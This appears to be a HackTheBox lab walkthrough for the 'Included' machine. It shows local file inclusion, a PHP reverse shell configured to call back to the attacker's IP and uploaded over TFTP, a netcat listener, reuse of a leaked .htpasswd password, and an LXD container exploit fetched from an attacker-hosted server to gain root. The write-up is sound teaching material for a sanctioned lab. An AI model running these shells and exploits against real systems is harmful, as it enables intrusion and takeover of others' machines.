CHALLENGE INFORMATION

Included LogoPlatform: HackTheBox
Collection: Starting Point
Tier: 2
Machine: Included
Released: 25/10/2021

MACHINE SYNOPSIS

Included is a very easy Linux machine that features exploiting TFTP, a vulnerable web application and the LXD group. Initial enumeration reveals a web server vulnerable to Local File Inclusion (LFI) which can be leveraged to access a TFTP server and upload a PHP reverse shell for initial access. Credentials can then be extracted from web configuration files to pivot to a higher-privileged user. Finally, privilege escalation can be achieved by leveraging the privileges of the LXD group to mount the host filesystem with elevated privileges in order to get full access to the filesystem.

Preparations

There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is taken care of, we spawn the target machine.

Additionally – even though not required – it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$
Listing 1 - Creating a local variable rhost to store the target's IP address

We could use the unset command to remove it after we no longer need it.

user@kali:~$ unset rhost
Listing 2 - Removing the rhost variable if necessary

Task-1

Question: What service is running on the target machine over UDP?

tftp

Our reconnaissance phase starts with a quick connection check:

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
...
user@kali:~$
Listing 3 - Connection check

This is followed by the usual – version, script, and top 1000 TCP ports – Nmap scan.

user@kali:~$ nmap -sC -sV $rhost 
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
...
|_Requested resource was http://10.129.112.221/?file=home.php
...
user@kali:~$
Listing 4 - Version detection and default script scanning

It appears our target is running a web server on port 80. Let us get a fingerprint on the website.

user@kali:~$ whatweb $rhost
http://10.129.112.221 [302 ..., RedirectLocation[http://10.129.112.221/index.php?file=home.php]
http://10.129.112.221/index.php?file=home.php [301 Moved Permanently] ..., RedirectLocation[http://10.129.112.221/?file=home.php]...]
http://10.129.112.221/?file=home.php [200 OK] ...
user@kali:~$
Listing 5 - WhatWeb fingerprinting

Interestingly enough, there are two redirections in place:

0 - http://$rhost - landing page
1 - http://$rhost/index.php?file=home.php - first redirect
2 - http://$rhost/?file=home.php - second redirect
Listing 6 - Multiple automatic redirections

These URLs seem quite dangerous with that file parameter, but we will leave that for later. For now, since the question mentions UDP ports, let us scan those as well.

Note that scanning UDP ports on the target requires not only root privileges but may also take a while.

user@kali:~$ sudo nmap -sU --min-rate 5000 -p- $rhost
...
PORT      STATE SERVICE
39623/udp open  unknown
47052/udp open  unknown
54212/udp open  unknown
54319/udp open  unknown
55618/udp open  unknown
57357/udp open  unknown
57647/udp open  unknown
58096/udp open  unknown
60359/udp open  unknown
60980/udp open  unknown
...
user@kali:~$
Listing 7 - Scanning all UDP ports

That is not too encouraging; quite a few ports are reported open. How about sticking only to the most common ports?

user@kali:~$ sudo nmap -sU $rhost
...
Not shown: 998 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
...
user@kali:~$
Listing 8 - Focusing only on the top 1000 open UDP ports

That is much better. But what exactly are these two services? After quick research, this is the information we obtain:

- DHCPC service, port 68:  Probably a DHCP client
- TFTP service,  port 69:  Trivial File Transfer Protocol (FTP); requires no user authentication)
Listing 9 - Mapping open ports to services

That second part looks extremely promising. Let us check it out. Only, how exactly can we do that?

A quick online search lands us the tftp-enum script, which is available for Nmap. The documentation mentions that it is only a reimplementation of the tftptheft tool, and by following the provided link we can download a wordlist containing the most commonly used filenames found on a TFTP share.

user@kali:~$ wget https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt
...
Saving to: 'tftplist.txt' 
...
user@kali:~$ ll
...
-rw-r--r-- 1 user user 1.4K ... tftplist.txt
user@kali:~$
Listing 10 - Downloading a TFTP-focused wordlist for enumeration

Sadly, the enumeration does not find anything interesting – be it because the share is empty or because file discovery is blocked. We do not know.

user@kali:~$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=tftplist.txt $rhost 
...
PORT   STATE SERVICE
69/udp open  tftp
...
user@kali:~$
Listing 11 - No actionable results during enumeration

Since that was a bust, let us try something else. A quick online search steers us toward a tool named tftp. Since it does not come preinstalled on the pwnbox, we will have to install it ourselves.

user@kali:~$ apropos tftp
tftp: nothing appropriate.
user@kali:~$ sudo apt install tftp
...
The following NEW packages will be installed:
  tftp
...
Launchers are updated
user@kali:~$
Listing 12 - Installing tftp

Once installed, we refer to its man page – displayed with man tftp – for further information about its usage. Simply connecting to our target does not reveal anything interesting.

user@kali:~$ tftp $rhost 
tftp> status
Connected to 10.129.112.221.
...
tftp> ^C
tftp> 
user@kali:~$
Listing 13 - Establishing connection via TFTP

Coupled with the fact that there is no trivial way to simply dump the file list via tftp, we will probably have to resort to its unauthenticated file upload function.

As for the answer, since we are restricted to a four-character-long string, we have a clear winner with TFTP.

Task-2

Question: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

local file inclusion

It is time to check out the webpage that our target is hosting.

Once we fire up our browser, we are automatically redirected to http://$rhost/?file=home.php. Exploring the site, we notice that all the links point back to the same landing page.

Figure 1: Redirected website

Figure 1: Redirected website

Using the Wappalyzer Firefox extension, we collect the following information:

- Front scripts: Google Font API
- Web servers: Apache HTTP Server - 2.4.29
- Programming languages: PHP
- Operating systems: Ubuntu
Listing 14 - Fingerprinting the technology stack with Wappalyzer

This may be of interest later on. For now, it is time to return to the dangerous URL parameter that we are served.

Searching for something like ‘file= vulnerability’ lands us the clear answer. But is it really vulnerable?

One of the typical proof-of-concept ways to test it is to try and load the passwd file with the ../../../../etc/passwd path. Note that this file should be accessible to all users on the system.

Accessing the endpoint using our browser provides us with the passwd file; therefore, our target is indeed vulnerable to LFI.

Figure 2: Testing for LFI vulnerability

Figure 2: Testing for LFI vulnerability

Task-3

Question: What is the default system folder that TFTP uses to store files?

/var/lib/tftpboot/

Building on the information obtained in Task-1 and Task-2, our idea is to use TFTP to upload a PHP reverse shell and then use the file URL parameter to execute it.

But for that, we need to know exactly where our files will end up once we upload them via tftp. A quick internet search rewards us with the default root directory path: /var/lib/tftpboot.

Let us try and enumerate that directory.

user@kali:~$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt --exclude-length 0
...
                          
...
user@kali:~$
Listing 15 - Enumerating the default root directory is a bust

No luck with the tftp.fuzz.txt wordlist. Let us try the common one: /usr/share/wordlists/dirb/common.txt.

user@kali:~$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 0
...
/Documents and Settings (Status: 400) [Size: 301]
/Program Files        (Status: 400) [Size: 301]  
/reports list         (Status: 400) [Size: 301]  
...
user@kali:~$
Listing 16 - Experimenting with different wordlists for enumeration

Again, no luck this time. We move on.

Task-4

Question: Which interesting file is located in the web server folder and can be used for Lateral Movement?

.htpasswd

Now it is finally time to get that PHP reverse shell going. We grab one of the most commonly used ones and modify it to fit our needs.

user@kali:~$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
...
Saving to: 'php-reverse-shell.php'
...
user@kali:~$ vim php-reverse-shell.php 
user@kali:~$ mv php-reverse-shell.php revshell.php
Listing 17 - PHP reverse shell download and modification

We adjust lines 49 and 50 accordingly.

# original
…
$ip = ‘127.0.0.1’; // CHANGE THIS
$port = 1234; // CHANGE THIS
…
Listing 18 - Original configuration for the PHP reverse shell
# modified
…
$ip = ‘10.10.14.75’; // local host
$port = 4444; // arbitrary port
…
Listing 19 - Modified configuration for the PHP reverse shell

Once uploaded,

user@kali:~$ tftp $rhost
tftp> put revshell.php
...
tftp> ^C
tftp>
user@kali:~$
Listing 20 - Uploading the PHP reverse shell via TFTP

and with a Netcat listener started in another terminal,

user@kali:~$ nc -lvnp 4444
...
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Listing 21 - Starting a Netcat listener

all that is left to do is to access it (trigger it) so that our target runs it. We can do this by simply loading our script in our browser with http://$rhost/?file=/var/lib/tftpboot/revshell.php.

Figure 3: Triggering the uploaded PHP reverse shell

Figure 3: Triggering the uploaded PHP reverse shell

Heading over to our Netcat listener, we are welcomed with shell access and the privileges of the www-data user.

user@kali:~$ nc -lvnp 4444
...
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.112.221.
Ncat: Connection from 10.129.112.221:56704.
Linux included 4.15.0-151-generic ...
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Listing 22 - Catching the reverse shell connection

Since this shell connection is quite unstable, we first stabilize it.

$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@included:/$ export TERM=xterm
export TERM=xterm
www-data@included:/$ ^Z
[1]+  Stopped                 nc -lvnp 4444
user@kali:~$ stty raw -echo; fg
nc -lvnp 4444

www-data@included:/$
Listing 23 - Stabilizing the shell connection

Looking around a bit, we realize that we do not have permission to view the user flag.

www-data@included:/$ pwd
/
www-data@included:/$ ls -hla
...
drwxr-xr-x   3 root root 4.0K ... home
...
drwx------   7 root root 4.0K ... root
...
www-data@included:/$ cd home/
www-data@included:/home$ ls -hla
...
drwxr-xr-x  6 mike mike 4.0K ... mike
www-data@included:/home$ cd mike/
www-data@included:/home/mike$ ls -hlag
...
-r-------- 1 mike   33 ... user.txt
www-data@included:/home/mike$
Listing 24 - Initial enumeration on the target as low-privileged user

Therefore, we need to upgrade our privileges. Taking a quick look at the web server’s installation directory can sometimes lead to lateral movement opportunities, considering that quite often the source files found there are prone to leak some cleartext credentials.

www-data@included:/var/www/html$ ls -hlag
...
-rw-r--r-- 1 www-data  212 ... .htaccess
-rw-r--r-- 1 www-data   17 ... .htpasswd
-rw-r--r-- 1 www-data  14K ... default.css
drwxr-xr-x 2 www-data 4.0K ... fonts
-rw-r--r-- 1 www-data  20K ... fonts.css
-rw-r--r-- 1 www-data 3.7K ... home.php
drwxr-xr-x 2 www-data 4.0K ... images
-rw-r--r-- 1 www-data  145 ... index.php
-rw-r--r-- 1 www-data  17K ... license.txt
www-data@included:/var/www/html$
Listing 25 - Enumerating the source files in the web server's installation directory

We are lucky. The .htpasswd file, which is used to store usernames and passwords for basic HTTP authentication, contains a password for the mike user.

www-data@included:/var/www/html$ cat .htpasswd 
mike:Sheffield19
www-data@included:/var/www/html$
Listing 26 - Cleartext credentials in the .htpasswd file

Since password reuse is a common thing, we try the same password on the system.

www-data@included:/var/www/html$ su mike
Password: 
mike@included:/var/www/html$
Listing 27 - Pivoting to a higher-privileged user

Great, it worked!

Task-5

Question: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

lxd

First we list all the groups that mike is a member of. There are only two: mike and lxd.

mike@included:/var/www/html$ groups
mike lxd
mike@included:/var/www/html$ id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
mike@included:/var/www/html$
Listing 28 - Enumerating the user's groups

A quick online search reveals LXD as a next-generation system container and virtual machine manager. That looks promising.

Before we continue with exploiting LXD, we make sure to retrieve the user flag.

mike@included:/var/www/html$ cat /home/mike/user.txt 
<redacted-flag>
mike@included:/var/www/html$
Listing 29 - Acquiring the user flag

Task-6

Question: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

alpine

This time we rely on the Exploit Database for finding the exploit. We take it and store it in our working directory.

user@kali:~$ searchsploit lxd
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation                     | linux/local/46978.sh
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
user@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh .
user@kali:~$ mv 46978.sh lxdprivesc.sh
Listing 30 - Looking for LXD exploits with 'searchsploit'

Opening it, we are welcomed with clear instructions; following them should help us elevate our privileges to root.

user@kali:~$ cat lxdprivesc.sh 
#!/usr/bin/env bash
...
# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
...
function helpPanel(){
...
user@kali:~$
Listing 31 - Privilege escalation exploit outlining clear steps for the attack

All that is left for us now is to simply follow the steps.

Step-1: Download build-alpine. (attackbox)

user@kali:~$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
...
Saving to: 'build-alpine'
...
user@kali:~$
Listing 32 - Downloading the LXD alpine builder

Step-2: Build alpine. (attackbox)

user@kali:~$ chmod a+x build-alpine 
user@kali:~$ sudo ./build-alpine 
...
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.18/main/x86_64
Downloading alpine-keys-2.4-r1.apk
...
Downloading apk-tools-static-2.14.0-r2.apk
...
[email protected]: OK
Verified OK
...
Saving to: '/home/user/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt'
...
OK: 10 MiB in 25 packages
user@kali:~$ ll
...
-rw-r--r-- 1 root root 3.6M ... alpine-v3.18-x86_64-..._1753.tar.gz
-rwxr-xr-x 1 user user 7.9K ... build-alpine
-rwxr-xr-x 1 user user 1.5K ... lxdprivesc.sh
-rw-r--r-- 1 user user 5.4K ... revshell.php
user@kali:~$ mv alpine-v3.18-x86_64-...tar.gz alpinebuild.tar.gz
Listing 33 - Building alpine

Step-3: Run this script and you will get root. (targetbox)

First, we will need to move the generated alpine file and the script over to our target. One way to achieve this is to use the http.server Python module.

It is important to start the HTTP server in the same directory where the two files are located.

user@kali:~$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Listing 34 - Hosting a Python HTTP server

Then we use wget on our target to download these same files.

mike@included:/var/www/html$ cd /tmp/
mike@included:/tmp$ wget http://10.10.14.75:8888/alpinebuild.tar.gz
...
Saving to: 'alpinebuild.tar.gz'
...
mike@included:/tmp$ wget http://10.10.14.75:8888/lxdprivesc.sh
...
Saving to: 'lxdprivesc.sh'
...
mike@included:/tmp$ ll
total 3632
...
-rw-rw-r--  1 mike mike 3705051 ... alpinebuild.tar.gz
-rw-rw-r--  1 mike mike    1451 ... lxdprivesc.sh
mike@included:/tmp$
Listing 35 - Transferring the required files

Finally, we run the script.

mike@included:/tmp$ chmod a+x lxdprivesc.sh 
mike@included:/tmp$ ll
...
-rwxrwxr-x  1 mike mike    1451 ... lxdprivesc.sh*
mike@included:/tmp$ ./lxdprivesc.sh -f alpinebuild.tar.gz 
[*] Listing images...

+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| alpine | c3c843ed2546 | no     | alpine v3.18 (...)            | x86_64 | 3.53MB | ...                          |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ #
Listing 36 - Adjusting executable permissions and running the exploit

Moving on to the last step.

Step-4: Once inside the container, navigate to /mnt/root to see all resources from the host machine. (targetbox)

~ # cd /mnt/root
/mnt/root # ls -hla
...
drwxr-xr-x  3 root  root  4.0K ... home
...
drwx------  7 root  root  4.0K ... root
...
/mnt/root #
Listing 37 - Navigating to the target mount

Since we are already here, how about retrieving the root flag?

/mnt/root # cd root/
/mnt/root/root # ls -hlag
...
-r--------  1 root  root  33  ... root.txt
/mnt/root/root # cat root.txt 
<redacted-flag>
/mnt/root/root #
Listing 38 - Acquiring the root flag

Task-7

Question: What flag do we set to the container so that it has root privileges on the host system?

security.privileged=true

Since we went ahead and used the exploit we found, the answer here may not seem so trivial. But as always, thorough internet research simply gets the job done.

Task-8

Question: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

/mnt/root/

See Step-4 from Task-6.

Submit The User Flag

Question: Submit user flag

<redacted-flag>

It was already acquired during Task-5.

Submit The Root Flag

Question: Submit root flag

<redacted-flag>

Similar to the user flag, the root flag was already grabbed during Task-6.

Congratulations on completing the challenge. All that is left is to terminate the targetbox – if not terminated automatically – before moving on to the next challenge!